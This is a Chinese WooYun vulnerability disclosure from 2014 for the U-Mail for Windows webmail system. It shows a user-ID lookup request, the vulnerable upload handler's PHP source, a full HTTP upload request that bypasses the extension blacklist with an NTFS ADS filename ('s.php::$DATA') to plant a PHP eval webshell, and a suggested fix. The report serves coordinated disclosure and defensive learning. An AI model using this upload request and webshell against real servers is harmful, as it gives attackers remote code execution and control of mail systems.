当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(45) 关注此漏洞

缺陷编号: WooYun-2014-86162

漏洞标题: U-mail邮件系统又一getshell

相关厂商: U-Mail

漏洞作者: Ano_Tom认证白帽子

提交时间: 2014-12-08 17:33

公开时间: 2015-03-06 17:34

漏洞类型: 文件上传导致任意代码执行

危害等级: 高

自评Rank: 15

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

13人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-08: 细节已通知厂商并且等待厂商处理中
2014-12-11: 厂商已经确认,细节仅向厂商公开
2014-12-14: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-02-04: 细节向核心白帽子及相关领域专家公开
2015-02-14: 细节向普通白帽子公开
2015-02-24: 细节向实习白帽子公开
2015-03-06: 细节向公众公开

简要描述:

U-mail邮件系统某处处理不当,导致getshell

详细说明:

版本:U-Mail for Windows V9.8.57

测试帐号:hello0001@**.**.**.**

测试主机:windows server 2003+IIS6 [windows主机配置都为邮件系统默认配置]

首先需要获取用户的UserID,因为其缓存目录路径为 umail\WorldClient\html\client\cache\{userid}\

获取用户id的接口为

http://mail.**.**.**.**/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=

1&keyword=hello0001

a.png



得知userid为3



上传缺陷

漏洞文件,umail\WorldClient\html\client\mail\module\o_attach.php

代码

code 区域
if ( ACTION == "attach-upload-batch" && $_FILES )
{
$file_name = $_FILES['Filedata']['name'];
$file_type = $_FILES['Filedata']['type'];
$file_size = $_FILES['Filedata']['size'];
$file_source = $_FILES['Filedata']['tmp_name'];
$path_target = getusercachepath( );
$not_allow_ext = array( "php", "phps", "php3", "exe", "bat" );
$res_data = array( );
foreach ( $file_source as $k => $v )
{
$file_id = makerandomname( );
$file_suffix = getfilenamesuffix( $file_name[$k] );
if ( in_array( $file_suffix, $not_allow_ext ) )
{
$res_data[] = array(
"status" => "0",
"message" => el( "不支持该扩展名文件上传", "" ),
"filename" => $file_name[$k],
"filesize" => $file_size[$k],
"file_id" => $file_id
);
}
else
{
$file_target = $path_target.$file_id.".".$file_suffix;
if ( !move_uploaded_file( $v, $file_target ) )
{
$res_data[] = array(
"status" => "0",
"message" => el( "写入文件出错,请与管理员联系!", "" ),
"filename" => $file_name[$k],
"filesize" => $file_size[$k],
"file_id" => $file_id
);
}
else
{
$res_data[] = array(
"status" => "1",
"filename" => trim( $file_name[$k] ),
"filesize" => $file_size[$k],
"file_id" => $file_id
);
$_SESSION[SESSION_ID]['attach_cache'][] = array(
"id" => $file_id,
"name" => $file_name[$k],
"type" => "1",
"path" => $file_target,
"size" => $file_size[$k]
);
}
}
}
dump_json( $res_data );
}



之前版本允许传php文件,最新版采用了黑名单机制,不允许传php文件,无法绕过其后缀检测。但是利用NTFS的ADS特性,可以绕过其黑名单机制,如图

发送邮件,选择拖拽添加附件,burpsuite拦截包,修改文件名为s.php::$DATA即可绕过,如图

code 区域
POST /webmail/client/mail/index.php?module=operate&action=attach-upload-batch HTTP/1.1
Host: mail.**.**.**.**
Proxy-Connection: keep-alive
Content-Length: 233
Origin: http://mail.**.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary37jD3r27mTgTBrAh
Accept: */*
Referer: http://mail.**.**.**.**/webmail/client/mail/index.php?module=view&action=mail-compose
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=3b8305453c65c1039f33832b23268fff
------WebKitFormBoundary37jD3r27mTgTBrAh
Content-Disposition: form-data; name="Filedata[]"; filename="s.php::$DATA"
Content-Type: application/octet-stream
<?php @eval($_POST['a']);?>
------WebKitFormBoundary37jD3r27mTgTBrAh--



b.png



则获得的webshell地址为 http://mail.**.**.**.**/webmail/client/cache/3/14178435495.php

c.png



漏洞证明:

如上

修复方案:

由于该邮件系统采用的IIS+Fastcgi模式跑的php,且为windows主机,会面临很多问题,比如解析漏洞等等。而针对该系统上传产生的问题,最简单的修复方案就是将上传的文件目录统一放在非web目录

版权声明:转载请注明来源 Ano_Tom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-12-11 08:23

厂商回复:

cnvd确认并复现所述情况,由cnvd按以往建立的联系渠道向软件生产厂商邮件通报。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-12-06 17:41 | zeracker 认证白帽子 ( 普通白帽子 | Rank:1077 漏洞数:139 | 爱吃小龙虾。)
    1

    .........

  2. 2014-12-11 09:26 | Metasploit ( 实习白帽子 | Rank:37 漏洞数:7 | http://www.metasploit.cn/)
    1

    以后没人敢用了,就不消停

  3. 2014-12-11 10:30 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)
    1

    为何我发的就要忽略,感觉不会再爱了

  4. 2014-12-12 16:31 | winalva ( 实习白帽子 | Rank:42 漏洞数:11 | rank是什么?)
    1

    好屌

  5. 2015-01-23 10:59 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    这个和之前的原理一样阿, WooYun: Umail最新版漏洞大礼包(完结篇) ,上传黑名单绕过。

  6. 2015-01-23 11:06 | Ano_Tom 认证白帽子 ( 普通白帽子 | Rank:474 漏洞数:47 | Talk is cheap.:)
    0

    @pandas 不一样,我那时测试你这个getshell已经绕不过的了,修复了黑名单了的,得用文件流

  7. 2015-01-23 12:15 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    @Ano_Tom 哦哦,那看来是修补了,有空我看下补丁

  8. 2015-03-06 23:05 | 1c3z ( 普通白帽子 | Rank:297 漏洞数:63 | @)!^)
    0

    NTFS的ADS特性 学习了!!

  9. 2015-04-23 01:09 | Arthur ( 实习白帽子 | Rank:85 漏洞数:35 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~)
    0

    审计牛,为什么php::$DATA就绕过了?

  10. 2015-04-23 21:23 | Ano_Tom 认证白帽子 ( 普通白帽子 | Rank:474 漏洞数:47 | Talk is cheap.:)
    0

    @Arthur 嗯,这是结合windows的ADS流文件特性(http://zone.wooyun.org/content/1064),你提交这种类型的文件名时候就绕过了他那个黑名单检测

登录后才能发表评论,请先 登录